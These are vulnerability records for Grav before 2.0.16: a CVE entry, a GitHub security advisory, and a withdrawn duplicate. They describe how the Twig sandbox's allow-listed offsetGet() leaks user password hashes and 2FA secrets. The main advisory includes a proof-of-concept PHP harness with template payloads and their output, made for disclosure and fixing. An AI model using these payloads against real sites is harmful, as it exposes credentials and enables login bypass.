{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:composer/getgrav/grav",
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "lessThan": "2.0.16",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "2.0.16",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet() and offsetexists() methods that lack field filtering. Attackers with page-edit permissions can call offsetGet() on User objects to extract hashed passwords and 2FA secrets, enabling offline password cracking and authentication bypass."
    },
    {
      "lang": "es",
      "value": "Grav anterior a la versi\u00f3n 2.0.16 permite que las plantillas Twig en entorno aislado accedan a campos de usuario sensibles a trav\u00e9s de m\u00e9todos offsetGet() y offsetexists() incluidos en la lista de permitidos que carecen de filtrado de campos. Atacantes con permisos de edici\u00f3n de p\u00e1gina pueden llamar a offsetGet() en objetos de usuario para extraer contrase\u00f1as con hash y secretos 2FA, lo que permite el cracking de contrase\u00f1as sin conexi\u00f3n y la omisi\u00f3n de autenticaci\u00f3n."
    }
  ],
  "id": "CVE-2026-76839",
  "lastModified": "2026-10-12T15:10:00.207",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-76839",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-25T15:44:59.569951Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-25T02:16:51.603",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-3jhr-mxmx-38cx"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-offsetget"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-3jhr-mxmx-38cx"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-522"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-76839"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:27:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`system/config/security.yaml`\u0027s Twig sandbox policy allow-lists `offsetget` and\n`offsetexists` for `Grav\\Common\\User\\Interfaces\\UserInterface`. The concrete\n`Grav\\Common\\User\\DataUser\\User` class does not filter which fields `offsetGet()`\nreturns, so any sandboxed template with access to a `User` object can read\n`hashed_password`, `secret` (2FA seed), and `twofa_secret` directly, bypassing the\nredaction Grav\u0027s own code applies everywhere else.\n\n## The core evidence, from Grav\u0027s own code\n\n`system/src/Grav/Common/User/DataUser/User.php`:\n\n```php\n/**\n * {@inheritdoc}\n * Override to filter out sensitive fields like password hashes\n */\npublic function jsonSerialize(): array\n{\n    $items = parent::jsonSerialize();\n\n    // Security: Remove sensitive fields that should never be exposed to frontend\n    unset($items[\u0027hashed_password\u0027]);\n    unset($items[\u0027secret\u0027]);         // 2FA secret\n    unset($items[\u0027twofa_secret\u0027]);   // Alternative 2FA field name\n\n    return $items;\n}\n\npublic function offsetGet($offset)\n{\n    $value = parent::offsetGet($offset);\n    // only special-cases \u0027authorized\u0027, nothing else -- no redaction\n    return $value;\n}\n```\n\n`system/config/security.yaml`:\n\n```yaml\n- class: \u0027Grav\\Common\\User\\Interfaces\\UserInterface\u0027\n  methods: \u0027authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists\u0027\n```\n\nThis is the same vulnerability shape as two already-fixed issues in this file\n(GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access\npath bypassing an intended redaction) recurring on a third class neither fix covered.\n\n## Live, end-to-end verification\n\nBuilt a real `Twig\\Environment` wired with the real `Twig\\Extension\\SandboxExtension`,\npoliced by Grav\u0027s own `GravSecurityPolicy` class, constructed directly from values\nparsed out of the actual `system/config/security.yaml` (via\n`Symfony\\Component\\Yaml\\Yaml::parseFile`, not a hand-copied excerpt), rendering real\ntemplate strings against a real `User` object.\n\nEnvironment setup:\n\n```bash\ngit clone https://github.com/getgrav/grav.git\ncd grav\napt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd\ncurl -sL -o /tmp/composer.phar \\\n  \"https://github.com/composer/composer/releases/latest/download/composer.phar\"\nCOMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction\n```\n\n`live_sandbox_render_test.php`:\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse Symfony\\Component\\Yaml\\Yaml;\nuse Twig\\Environment;\nuse Twig\\Loader\\ArrayLoader;\nuse Twig\\Extension\\SandboxExtension;\nuse Grav\\Common\\Twig\\Sandbox\\GravSecurityPolicy;\nuse Grav\\Common\\User\\DataUser\\User;\n\n$securityYaml = Yaml::parseFile(\u0027system/config/security.yaml\u0027);\n$sandboxCfg = $securityYaml[\u0027twig_sandbox\u0027];\n\nfunction rowsToMap(array $rows): array {\n    $out = [];\n    foreach ($rows as $row) {\n        $out[$row[\u0027class\u0027]] = array_map(\u0027strtolower\u0027, array_map(\u0027trim\u0027, explode(\u0027,\u0027, $row[\u0027methods\u0027])));\n    }\n    return $out;\n}\n\n$policy = new GravSecurityPolicy(\n    $sandboxCfg[\u0027allowed_tags\u0027],\n    $sandboxCfg[\u0027allowed_filters\u0027],\n    rowsToMap($sandboxCfg[\u0027allowed_methods\u0027]),\n    rowsToMap($sandboxCfg[\u0027allowed_properties\u0027]),\n    $sandboxCfg[\u0027allowed_functions\u0027]\n);\n$sandbox = new SandboxExtension($policy, true);\n\n$user = new User([\n    \u0027username\u0027        =\u003e \u0027admin\u0027,\n    \u0027hashed_password\u0027 =\u003e \u0027$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX\u0027,\n    \u0027secret\u0027          =\u003e \u0027JBSWY3DPEHPK3PXP\u0027,\n    \u0027twofa_secret\u0027    =\u003e \u0027ALT2FASECRETVALUE9999\u0027,\n]);\n\nfunction tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void {\n    $twig = new Environment(new ArrayLoader([\u0027@Page:test\u0027 =\u003e $template]));\n    $twig-\u003eaddExtension($sandbox);\n    try {\n        echo \"$label =\u003e \" . $twig-\u003erender(\u0027@Page:test\u0027, [\u0027user\u0027 =\u003e $user]) . \"\\n\";\n    } catch (\\Twig\\Sandbox\\SecurityError $e) {\n        echo \"$label =\u003e BLOCKED: \" . $e-\u003egetMessage() . \"\\n\";\n    }\n}\n\ntryRender(\u0027hashed_password via offsetGet()\u0027, \"{{ user.offsetGet(\u0027hashed_password\u0027) }}\", $sandbox, $user);\ntryRender(\u0027secret via offsetGet()\u0027,          \"{{ user.offsetGet(\u0027secret\u0027) }}\", $sandbox, $user);\ntryRender(\u0027twofa_secret via offsetGet()\u0027,    \"{{ user.offsetGet(\u0027twofa_secret\u0027) }}\", $sandbox, $user);\ntryRender(\u0027twofa_secret via subscript\u0027,      \"{{ user[\u0027twofa_secret\u0027] }}\", $sandbox, $user);\ntryRender(\u0027control: user.set() (unlisted)\u0027,  \"{{ user.set(\u0027email\u0027, \u0027pwned@evil.com\u0027) }}\", $sandbox, $user);\n```\n\nRun: `php live_sandbox_render_test.php`\n\nOutput:\n\n```\nhashed_password via offsetGet() =\u003e $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX\nsecret via offsetGet() =\u003e JBSWY3DPEHPK3PXP\ntwofa_secret via offsetGet() =\u003e ALT2FASECRETVALUE9999\ntwofa_secret via subscript =\u003e BLOCKED: Calling \"twofa_secret\" property on a \"Grav\\Common\\User\\DataUser\\User\" object is not allowed in \"@Page:test\" at line 1.\ncontrol: user.set() (unlisted) =\u003e BLOCKED: Calling \"set\" method on a \"Grav\\Common\\User\\DataUser\\User\" object is not allowed in \"@Page:test\" at line 1.\n```\n\nThe control payload (a real, non-allow-listed `User` method) is correctly blocked,\nand the target field was confirmed unchanged afterward -- confirming the sandbox is\ngenuinely active and the three leaks above are real, not an artifact of a failed\nsandbox.\n\n## Precise nuance for the fix\n\nTwig routes `user.offsetGet(\u0027x\u0027)` (explicit method call) and `user[\u0027x\u0027]` (subscript\nsugar on a non-built-in `ArrayAccess` object) through two different sandbox checks --\n`checkMethodAllowed` against `allowed_methods`, versus `checkPropertyAllowed` against\n`allowed_properties`. The subscript form is already correctly blocked, since\n`UserInterface` has no `allowed_properties` entry. Only the explicit `.offsetGet()`/\n`.offsetExists()` method-call form leaks, because those methods are present in\n`allowed_methods`.\n\n## Scope, stated honestly\n\nI could not find where Grav core itself binds a `user` variable into the sandboxed\nTwig page-content context -- `Twig::processPage()`\u0027s `$twig_vars` has no `\u0027user\u0027` key,\nand the Login plugin (the near-universal companion plugin that would populate\n\"current logged-in user\") is not part of this repository. I cannot independently\nconfirm from this codebase alone whether that binding is always the current session\nuser (self-disclosure only) or could resolve to an arbitrary other user (site-wide\ncredential/2FA-secret disclosure). What is independently confirmed entirely from this\nrepository: the `security.yaml` sandbox policy is Grav core\u0027s own security contract,\nand it allow-lists a method proven unsafe by Grav\u0027s own code, regardless of which\nplugin exercises it.\n\n## Impact\n\nAny sandboxed Twig context where a `UserInterface` object is reachable (the standard,\ndocumented pattern for exposing \"current user\" to editor-authored content) allows\nextraction of that user\u0027s password hash (enabling offline cracking) and 2FA secret\n(enabling full authentication bypass by generating valid TOTP codes without possessing\nthe user\u0027s device), by any user with page-edit permission.\n\n## Suggested fix \n\nTrimming the `UserInterface` entry alone is insufficient: `User extends Data`, and the\nseparate generic allowlist entry for `Grav\\Common\\Data\\Data` (`get, value, items,\noffsetget, offsetexists`) independently grants the same access via `instanceof`\nmatching, through three methods (`get`, `value`, `offsetGet`), not just one. I verified\nthis by simulating the UserInterface-only fix and confirming all three still leak\n`hashed_password` and `secret`/`twofa_secret`.\n\nThe robust fix mirrors what was already done for Config in GHSA-j274-39qw-32c9:\nintroduce a redacting facade for User (analogous to SandboxConfig) that filters\nhashed_password/secret/twofa_secret on every read path, and allow-list that facade in\nplace of the raw User/Data class -- rather than trying to enumerate safe methods on a\nclass whose parent class is independently allow-listed elsewhere in the same policy.\nA narrower alternative: override User::get()/value()/offsetGet() to apply the same\nredaction jsonSerialize() already does, so the fields simply don\u0027t exist to leak\nregardless of which accessor method reaches them.\n\n## Affected component\n\n- `system/config/security.yaml`, `twig_sandbox.allowed_methods` entry for\n  `Grav\\Common\\User\\Interfaces\\UserInterface`\n- `system/src/Grav/Common/User/DataUser/User.php`, `offsetGet()` (behaves correctly\n  given the sandbox\u0027s input; the gap is in what the sandbox allows through)\n```\n\n**Ecosystem:** `Composer`\n**Package name:** `getgrav/grav`\n**Affected versions:** current `2.0.15` dev tree (bounded by whenever `UserInterface` was first added to `allowed_methods` in `security.yaml` \u2014 worth checking `git log -p` on that file if you want an exact lower bound before submitting)\n**Patched versions:** leave blank\n\n**Severity / CVSS v3.1 vector string:**\n```\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n```\nResolves to **7.7 / High**. Attack Vector = Network, Attack Complexity = Low, Privileges Required = Low, User Interaction = None, Scope = Changed, Confidentiality = High, Integrity = None, Availability = None. Flag clearly in your submission (as the description does) that if the maintainers confirm the \"arbitrary other user\" reachability, this should be rescored toward Critical given the 2FA-bypass implication.\n\n**CWE:** `CWE-522` (Insufficiently Protected Credentials), add `CWE-284` (Improper Access Control)",
  "id": "GHSA-3jhr-mxmx-38cx",
  "modified": "2026-09-17T20:27:30Z",
  "published": "2026-09-17T20:27:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-3jhr-mxmx-38cx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76839"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-offsetget"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2.0.16"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:27:12Z",
    "nvd_published_at": "2026-08-25T02:16:51Z",
    "severity": "HIGH"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-3jhr-mxmx-38cx. This link is maintained to preserve external references.\n\n### Original Description\nGrav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet() and offsetexists() methods that lack field filtering. Attackers with page-edit permissions can call offsetGet() on User objects to extract hashed passwords and 2FA secrets, enabling offline password cracking and authentication bypass.",
  "id": "GHSA-8vp7-8q4w-vv7m",
  "modified": "2026-09-17T20:27:12Z",
  "published": "2026-08-25T03:32:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-3jhr-mxmx-38cx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76839"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-offsetget"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()",
  "withdrawn": "2026-09-17T20:27:12Z"
}